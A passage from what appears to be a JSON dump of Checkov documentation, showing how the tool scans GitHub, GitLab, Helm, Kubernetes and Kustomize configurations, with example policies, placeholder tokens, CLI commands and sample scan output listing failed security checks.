\"github_conf\" under current working directory                                                       |\n| GITHUB_API_URL   | \"https://api.github.com/\" |                                                                                                                                               |\n| GITHUB_TOKEN   |                           | GitHub personal access token to be used to fetch GitHub configuration                                                                         |\n| GITHUB_REF | refs/heads/master                    | Github branch for which to fetch branch protection rules configuration                                                                        |\n | GITHUB_ORG   |                           | Github organization                                                                                                                           |\n | GITHUB_REPOSITORY |                      | Github repository for which to fetch repository configuration info                                                                             |\n | GITHUB_REPO_OWNER |                           | The owner of the repository. This could be either Github repository owner user name or the organization name, in which the user is the owner. |\n\n### Example organization security configuration\n\n```json\n{\n    \"data\": {\n        \"organization\": {\n            \"name\": \"Prisma\",\n            \"login\": \"prismaio\",\n            \"description\": \"Secure public cloud infrastructure\",\n            \"ipAllowListEnabledSetting\": \"ENABLED\",\n            \"ipAllowListForInstalledAppsEnabledSetting\": \"ENABLED\",\n            \"requiresTwoFactorAuthentication\": false,\n            \"samlIdentityProvider\": {\n                \"ssoUrl\": \"https://prisma.okta.com/app/githubcloud/foo/sso/saml\"\n            }\n        }\n    }\n}\n```\n\n### Example policy\n\n```python\nfrom checkov.github.base_github_org_security import OrgSecurity\n\n\nclass Github2FA(OrgSecurity):\n    def __init__(self):\n        name = \"Ensure GitHub organization security settings require 2FA\"\n        id = \"CKV_GITHUB_1\"\n        super().__init__(\n            name=name,\n            id=id\n        )\n\n    def get_evaluated_keys(self):\n        return ['data/organization/requiresTwoFactorAuthentication']\n\n\n\ncheck = Github2FA()\n\n```\n\n### Running in CLI\n\n```bash\n#configure github personal access token\nexport GITHUB_TOKEN=\"ghp_abc\"\n#configure vpn (optional)\nexport REQUESTS_CA_BUNDLE=\"/usr/local/etc/openssl/cert.pem\"\nexport BC_CA_BUNDLE=\"globalprotect_certifi.txt\"\n\ncheckov -d . --framework github_configuration\n```\n\n### Example output\n\n```bash\n\n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: 2.0.707 \n\ngithub_configuration scan results:\n\nPassed checks: 2, Failed checks: 1, Skipped checks: 0\n\nCheck: CKV_GITHUB_3: \"Ensure GitHub organization security settings has IP allow list enabled\"\n\tPASSED for resource: _conf/org_security.json\n\tFile: /github_conf/org_security.json:2-15\n\nCheck: CKV_GITHUB_2: \"Ensure GitHub organization security settings require SSO\"\n\tPASSED for resource: _conf/org_security.json\n\tFile: /github_conf/org_security.json:2-15\n\nCheck: CKV_GITHUB_1: \"Ensure GitHub organization security settings require 2FA\"\n\tFAILED for resource: _conf/org_security.json\n\tFile: /github_conf/org_security.json:2-15\n\n\t\t2  |     \"data\": {\n\t\t3  |         \"organization\": {\n\t\t4  |             \"name\": \"Prisma\",\n\t\t5  |             \"login\": \"prismaio\",\n\t\t6  |             \"description\": \"Secure public cloud infrastructure\",\n\t\t7  |             \"ipAllowListEnabledSetting\": \"ENABLED\",\n\t\t8  |             \"ipAllowListForInstalledAppsEnabledSetting\": \"ENABLED\",\n\t\t9  |             \"requiresTwoFactorAuthentication\": false,\n\t\t10 |             \"samlIdentityProvider\": {\n\t\t11 |                                 \"ssoUrl\": \"https://prisma.okta.com/app/githubcloud/foo/sso/saml\"\n\t\t12 |             }\n\t\t13 |         }\n\t\t14 |     }\n\t\t15 | }\n\n\n```\n\nTo add more GitHub policies and configuration to be inspected take a look at the [GitHub policy contribution guide](https://www.checkov.io/6.Contribution/Contribute%20New%20GitHub%20Policies.html)\n"
  },
  {
    "path": "docs/7.Scan Examples/Gitlab.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Gitlab configuration scanning\nnav_order: 20\n---\n\n# Gitlab configuration scanning\nCheckov supports the evaluation of policies on your Gitlab organization and repositories settings.\nWhen using checkov with Gitlab token it can collect your current org settings and validate it complies with Gitlab security best practices such as having 2FA defined, having SSO and more.\nFull list of gitlab organization and repository settings related checks can be found  [here](https://www.checkov.io/5.Policy%20Index/gitlab_configuration.html).\n\n## Gitlab scanning configuration\n\n| Environment Variable          | Default value     | Description    |\n|-------------|----------|-------------------------------------------|\n| CKV_GITLAB_CONFIG_FETCH_DATA| \"True\" | checkov will try to fetch Gitlab configuration from API by default (unless no access token provided)  |\n| CKV_GITLAB_CONF_DIR_NAME   | \"gitlab_conf\" | checkov will create a new directory named \"gitlab_conf\" under current working directory                          |\n| CI_SERVER_URL   | \"https://gitlab.com/\" |  |\n| CI_JOB_TOKEN   |  | Gitlab personal access token to be used to fetch Gitlab configuration |\n\n### Example groups configuration\n\n```json\n[\n  {\n    \"id\": 15483421,\n    \"web_url\": \"https://gitlab.com/groups/baraktest1\",\n    \"name\": \"baraktestgroup\",\n    \"path\": \"baraktest1\",\n    \"description\": \"\",\n    \"visibility\": \"private\",\n    \"share_with_group_lock\": false,\n    \"require_two_factor_authentication\": false,\n    \"two_factor_grace_period\": 48,\n    \"project_creation_level\": \"developer\",\n    \"auto_devops_enabled\": null,\n    \"subgroup_creation_level\": \"maintainer\",\n    \"emails_disabled\": null,\n    \"mentions_disabled\": null,\n    \"lfs_enabled\": true,\n    \"default_branch_protection\": 2,\n    \"avatar_url\": null,\n    \"request_access_enabled\": true,\n    \"full_name\": \"baraktestgroup\",\n    \"full_path\": \"baraktest1\",\n    \"created_at\": \"2022-01-17T11:03:19.763Z\",\n    \"parent_id\": null,\n    \"ldap_cn\": null,\n    \"ldap_access\": null\n  }\n]\n```\n\n### Example policy\n\n```python\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.gitlab.base_gitlab_configuration_check import BaseGitlabCheck\nfrom checkov.gitlab.schemas.groups import schema\nfrom checkov.json_doc.enums import BlockType\n\n\nclass GroupsTwoFactorAuthentication(BaseGitlabCheck):\n    def __init__(self):\n        name = \"Ensure all Gitlab groups require two factor authentication\"\n        id = \"CKV_GITLAB_2\"\n        categories = [CheckCategories.SUPPLY_CHAIN]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=[\"*\"],\n            block_type=BlockType.DOCUMENT\n        )\n\n    def scan_entity_conf(self, conf):\n        if schema.validate(conf):\n            for group in conf:\n                if group.get(\"require_two_factor_authentication\", False) is True:\n                    return CheckResult.PASSED, conf\n            return CheckResult.FAILED, conf\n\n\ncheck = GroupsTwoFactorAuthentication()\n\n\n```\n\n### Running in CLI\n\n```bash\n#configure gitlab personal access token\nexport CI_JOB_TOKEN=\"ghp_abc\"\n#configure vpn (optional)\nexport REQUESTS_CA_BUNDLE=\"/usr/local/etc/openssl/cert.pem\"\nexport BC_CA_BUNDLE=\"globalprotect_certifi.txt\"\n\ncheckov -d . --framework gitlab_configuration\n```\n\n### Example output\n\n```bash\n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: 2.0.722 \n\n\ngitlab_configuration scan results:\n\nPassed checks: 0, Failed checks: 1, Skipped checks: 0\n\nCheck: CKV_GITLAB_2: \"Ensure all Gitlab groups require two factor authentication\"\n\tFAILED for resource: /gitlab_conf/groups.json\n\tFile: /gitlab_conf/groups.json:2-27\n\n\t\t2  |     {\n\t\t3  |         \"id\": 15483421,\n\t\t4  |         \"web_url\": \"https://gitlab.com/groups/baraktest1\",\n\t\t5  |         \"name\": \"baraktestgroup\",\n\t\t6  |         \"path\": \"baraktest1\",\n\t\t7  |         \"description\": \"\",\n\t\t8  |         \"visibility\": \"private\",\n\t\t9  |         \"share_with_group_lock\": false,\n\t\t10 |         \"require_two_factor_authentication\": false,\n\t\t11 |         \"two_factor_grace_period\": 48,\n\t\t12 |         \"project_creation_level\": \"developer\",\n\t\t13 |         \"auto_devops_enabled\": null,\n\t\t14 |         \"subgroup_creation_level\": \"maintainer\",\n\t\t15 |         \"emails_disabled\": null,\n\t\t16 |         \"mentions_disabled\": null,\n\t\t17 |         \"lfs_enabled\": true,\n\t\t18 |         \"default_branch_protection\": 2,\n\t\t19 |         \"avatar_url\": null,\n\t\t20 |         \"request_access_enabled\": true,\n\t\t21 |         \"full_name\": \"baraktestgroup\",\n\t\t22 |         \"full_path\": \"baraktest1\",\n\t\t23 |         \"created_at\": \"2022-01-17T11:03:19.763Z\",\n\t\t24 |         \"parent_id\": null,\n\t\t25 |         \"ldap_cn\": null,\n\t\t26 |         \"ldap_access\": null\n\t\t27 |     }\n\n\n\nProcess finished with exit code 1\n\n\n```\n\nTo add more GitLab policies and configuration to be inspected take a look at the [GitLab policy contribution guide](https://www.checkov.io/6.Contribution/Contribute%20New%20Gitlab%20Policies.html)\n"
  },
  {
    "path": "docs/7.Scan Examples/Helm.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Helm\nnav_order: 9\n---\n\n# Scan Helm charts with Checkov\n\nCheckov is able to autodetect helm charts by the presence of a `Chart.yaml` file, if found, the helm framework will automatically be used to template out the helm chart (with it's default values) into resulting Kubernetes manifests, which will then be scanned by all Checkovs' Kubernetes policies.\n\n\n```\n       _               _\n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V /\n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/\n\nBy Prisma Cloud | version: x.x.x \n\nhelm scan results:\n\nPassed checks: 370, Failed checks: 90, Skipped checks: 0\n\nCheck: CKV_K8S_27: \"Do not expose the docker daemon socket to containers\"\n\tPASSED for resource: Deployment.RELEASE-NAME-nextcloud.default\n\tFile: /nextcloud/templates/deployment.yaml:3-107\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-26\n\n\n...\n```\n\nTo do this, we use the helm binary, if the helm binary (v3) is not available via the users `$PATH` for Checkov, Checkov will automatically skip the helm framework, with a message informing the user as below. Checkov will then run with exactly the same behaviour as if running with `checkov --skip-framework helm`.\n\n```\nThe following frameworks will automatically be disabled due to missing system dependencies: helm\n```\n\nThis auto-detection behaviour is to protect existing CI pipelines which pull the latest version of Checkov, which may not have the helm binary available.\n\nIf you have custom value files, and scanning a Chart (a directory containing a `Chart.yaml` file), you can tell checkov to use your values while creating the kubernetes manifests from the chart, to do this, use the following (for example, scanning a gocd chart directory):\n\n```\ncheckov -d ./testdir/gocd --framework helm --var-file ./testdir/gocd.yaml\n```\n\nin the example below, we can see the difference between the default `gocd` version `1.39.4` Helm chart scan, compared to a scan using the following `gocd.yaml` variables file:\n\n\n```\ncheckov -d ./testdir/gocd --framework helm --quiet --compact -c CKV_K8S_15\n\nhelm scan results:\n\nPassed checks: 0, Failed checks: 3, Skipped checks: 0\n\nCheck: CKV_K8S_15: \"Image Pull Policy should be Always\"\n        FAILED for resource: Deployment.default.RELEASE-NAME-gocd-agent\n        File: /gocd/templates/gocd-agent-deployment.yaml:3-46\n\nCheck: CKV_K8S_15: \"Image Pull Policy should be Always\"\n        FAILED for resource: Deployment.default.RELEASE-NAME-gocd-server\n        File: /gocd/templates/gocd-server-deployment.yaml:3-90\n\nCheck: CKV_K8S_15: \"Image Pull Policy should be Always\"\n        FAILED for resource: Pod.default.RELEASE-NAME-gocd-test-ku4xn\n        File: /gocd/templates/tests/gocd-test.yaml:3-44\n```\n\n\n```\ncheckov -d ./testdir/gocd --framework helm --quiet --compact --var-file ./testdir/gocd.yaml -c CKV_K8S_15\n\nhelm scan results:\n\nPassed checks: 2, Failed checks: 1, Skipped checks: 0\n\nCheck: CKV_K8S_15: \"Image Pull Policy should be Always\"\n        FAILED for resource: Pod.default.RELEASE-NAME-gocd-test-o6jdi\n        File: /gocd/templates/tests/gocd-test.yaml:3-44\n\n```\n\n\n# Third party Helm charts\n## Scan Helm values.yaml files without a locally developed chart with Checkov\n\nIf you are consuming third party charts, it is unlikely you will have a `Chart.yaml` file for Checkov to auto-detect.\n\nFor example, you may have run: \n\n```\nhelm repo add gocd https://gocd.github.io/helm-chart\nhelm inspect values gocd/gocd > gocd.yaml\n```\n\nThen edited your custom values in `gocd.yaml` to suit your deployment needs.\n\nIn this case, you can use your custom values from your values file (`gocd.yml` in this case) to generate kubernetes output with Helm, and pass the templated output to checkov to receive the same policy information. This would also be trivial to set up in CI for automated scanning of this scenario:\n\n```\nhelm template gocd/gocd -f gocd.yaml > k8s-template.yaml\ncheckov -f k8s-template.yaml --framework kubernetes --skip-check CKV_K8S_21\n```\n\nNote we skip check `CKV_K8S_21` for this process, which alerts on default namespace usage within Kubernetes manifests. \nSince helm manages our namespaces, we always skip this internally when using the helm framework, so we want to replicate the same behaviour here.\n\n"
  },
  {
    "path": "docs/7.Scan Examples/Kubernetes.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Kubernetes configuration scanning\nnav_order: 20\n---\n\n# Kubernetes configuration scanning\nCheckov supports the evaluation of policies on your Kubernetes files.\nWhen using checkov to scan a directory that contains a Kubernetes manifests it will validate if the file is compliant with K8 best practices such as not admitting root containers, making sure there are CPU limits, and more.  \n\nFull list of Kubernetes policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/kubernetes.html).\n\n### Example misconfigured kubernetes\n\n```yaml\n# runAsNonRoot and runAsUser not set (pod or container)\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod1\nspec:\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n\n```\n### Running in CLI\n\n```bash\ncheckov -d . --framework kubernetes\n```\n\n### Example output\n```bash\n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: x.x.x \n\nPassed checks: 70, Failed checks: 19, Skipped checks: 0\n\nCheck: CKV_K8S_37: \"Minimize the admission of containers with capabilities assigned\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-34\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_31: \"Ensure that the seccomp profile is set to docker/default or runtime/default\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-29\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_8: \"Liveness Probe Should be Configured\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-7\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_12: \"Memory requests should be set\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-11\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_20: \"Containers should not run with allowPrivilegeEscalation\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-19\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_13: \"Memory limits should be set\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-12\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_40: \"Containers should run as a high UID to avoid host conflict\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-37\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_10: \"CPU requests should be set\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-9\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_22: \"Use read-only filesystem for containers where possible\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_21\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_9: \"Readiness Probe Should be Configured\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_8\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_28: \"Minimize the admission of containers with the NET_RAW capability\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_27\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_29: \"Apply security context to your pods and containers\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_28\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_30: \"Apply security context to your pods and containers\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_28\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_14: \"Image Tag should be fixed - not latest or blank\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_13\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_38: \"Ensure that Service Account Tokens are only mounted where necessary\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_35\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_21: \"The default namespace should not be used\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_20\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_23: \"Minimize the admission of root containers\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_22\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_43: \"Image should use digest\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_39\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n\nCheck: CKV_K8S_11: \"CPU limits should be set\"\n\tFAILED for resource: Pod.default.pod1\n\tFile: /rootContainersFAILED.yaml:2-10\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_10\n\n\t\t2  | apiVersion: v1\n\t\t3  | kind: Pod\n\t\t4  | metadata:\n\t\t5  |   name: pod1\n\t\t6  | spec:\n\t\t7  |   containers:\n\t\t8  |   - name: main\n\t\t9  |     image: alpine\n\t\t10 |     command: [\"/bin/sleep\", \"999999\"]\n\n```\n"
  },
  {
    "path": "docs/7.Scan Examples/Kustomize.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Kustomize\nnav_order: 10\n---\n\n# Scan Kustomize kustomizations with Checkov\n\nCheckov is able to autodetect kustomizations by the presence of a `Kustomization.yaml` file, if found, the the Kustomize framework will automatically be used to template out the referenced kustomization against referenced bases into resulting Kubernetes manifests, which will then be scanned by all Checkovs' Kubernetes policies.\n\nYou can think of Kustomize as a \"pre-framework\". It doesn't currently contain any of it's own policies, rather serves to detect, parse, and provide metadata for Kustomize files to the Kubernetes framework.\n\nEach Overlay/Environment detected will be scanned, Checkov output will provide results for each overlay, and the base kubernetes manifests, so you can see seurity differences between overlays.\nBecause Kustomizations don't inherently have names, Checkov generates a name for each overlay based on the relative file-path to the base referenced in the `Kustomizations.yaml` file.\n\nFor example, The following directory structure will generate 3 sets of checkov violations for, `base:base`, `overlay:dev` and `overlay:prod` environments.\n\n![./kustomize-envs.png](./kustomize-envs.png)\n\n## Dependencies\n\nYou will need a working version of the standalone \"kustomize\" binary in your environment. If not available, Checkov will silently skip the Kustomize framework so as to not break existing CI pipelines which may be pulling Checkov latest with each run.\n\nThis is the same behaviour as Helm, and any other frameworks that depend on external dependencies.\n\n```\n➜  ~ kustomize version\n{Version:kustomize/v4.4.1 GitCommit:b2d65ddc98e09187a8e38adc27c30bab078c1dbf BuildDate:2021-11-11T23:27:14Z GoOs:darwin GoArch:amd64}\n```\n\nInstallation options for Kustomize can be found here: [https://kubectl.docs.kubernetes.io/installation/kustomize/binaries/](https://kubectl.docs.kubernetes.io/installation/kustomize/binaries/)\n\n## Results\n\nHere we ask for `--compact` output and only a single Kubernetes check `CKV_K8S_43` to make the output easier to read, you can see each Kustomization environment has been templated and scanned with the overlay name appended to the resource.\n\n```\n➜  ~ checkov -d ./testdir --framework kustomize --check CKV_K8S_43 --quiet --compact\n\nkustomize scan results:\n\nPassed checks: 0, Failed checks: 12, Skipped checks: 0\n\nCheck: CKV_K8S_43: \"Image should use digest\"\n        FAILED for resource: base:Deployment.default.sl-demo-app\n        File: /Users/matt/bcd/kustomize/checkov/testdir/kustomize-blog-demo/k8s/base/kustomization.yaml:\n\nCheck: CKV_K8S_43: \"Image should use digest\"\n        FAILED for resource: overlay:overlays/prod:Deployment.default.sl-demo-app\n        File: /Users/matt/bcd/kustomize/checkov/testdir/kustomize-blog-demo/k8s/overlays/prod/kustomization.yaml:\n\nCheck: CKV_K8S_43: \"Image should use digest\"\n        FAILED for resource: overlay:overlays/dev:Deployment.default.sl-demo-app\n        File: /Users/matt/bcd/kustomize/checkov/testdir/kustomize-blog-demo/k8s/overlays/dev/kustomization.yaml:\n\nCheck: CKV_K8S_43: \"Image should use digest\"\n        FAILED for resource: overlay:overlays/prod-2:Deployment.default.sl-demo-app\n        File: /Users/matt/bcd/kustomize/checkov/testdir/kustomize-blog-demo/k8s/overlays/prod-2/kustomization.yaml:\n\nCheck: CKV_K8S_43: \"Image should use digest\"\n        FAILED for resource: overlay:overlays/prod-4:Deployment.default.sl-demo-app\n        File: /Users/matt/bcd/kustomize/checkov/testdir/kustomize-blog-demo/k8s/overlays/prod-4/kustomization.yaml:\n\nCheck: CKV_K8S_43: \"Image should use digest\"\n        FAILED for resource: overlay:overlays/prod-3:Deployment.default.sl-demo-app\n        File: /Users/matt/bcd/kustomize/checkov/testdir/kustomize-blog-demo/k8s/overlays/prod-3/kustomization.yaml:\n\nCheck: CKV_K8S_43: \"Image should use digest\"\n        FAILED for resource: base:Deployment.default.sl-demo-app\n        File: /Users/matt/bcd/kustomize/checkov/testdir/example-monorepo-structure/k8s/base/kustomization.yaml:\n\nCheck: CKV_K8S_43: \"Image should use digest\"\n        FAILED for resource: overlay:overlays/prod:Deployment.default.sl-demo-app\n        File: /Users/matt/bcd/kustomize/checkov/testdir/example-monorepo-structure/k8s/overlays/prod/kustomization.yaml:\n\nCheck: CKV_K8S_43: \"Image should use digest\"\n        FAILED for resource: overlay:overlays/dev:Deployment.default.sl-demo-app\n        File: /Users/matt/bcd/kustomize/checkov/testdir/example-monorepo-structure/k8s/overlays/dev/kustomization.yaml:\n\nCheck: CKV_K8S_43: \"Image should use digest\"\n        FAILED for resource: overlay:overlays/prod-2:Deployment.default.sl-demo-app\n        File: /Users/matt/bcd/kustomize/checkov/testdir/example-monorepo-structure/k8s/overlays/prod-2/kustomization.yaml:\n\nCheck: CKV_K8S_43: \"Image should use digest\"\n        FAILED for resource: overlay:overlays/prod-4:Deployment.default.sl-demo-app\n        File: 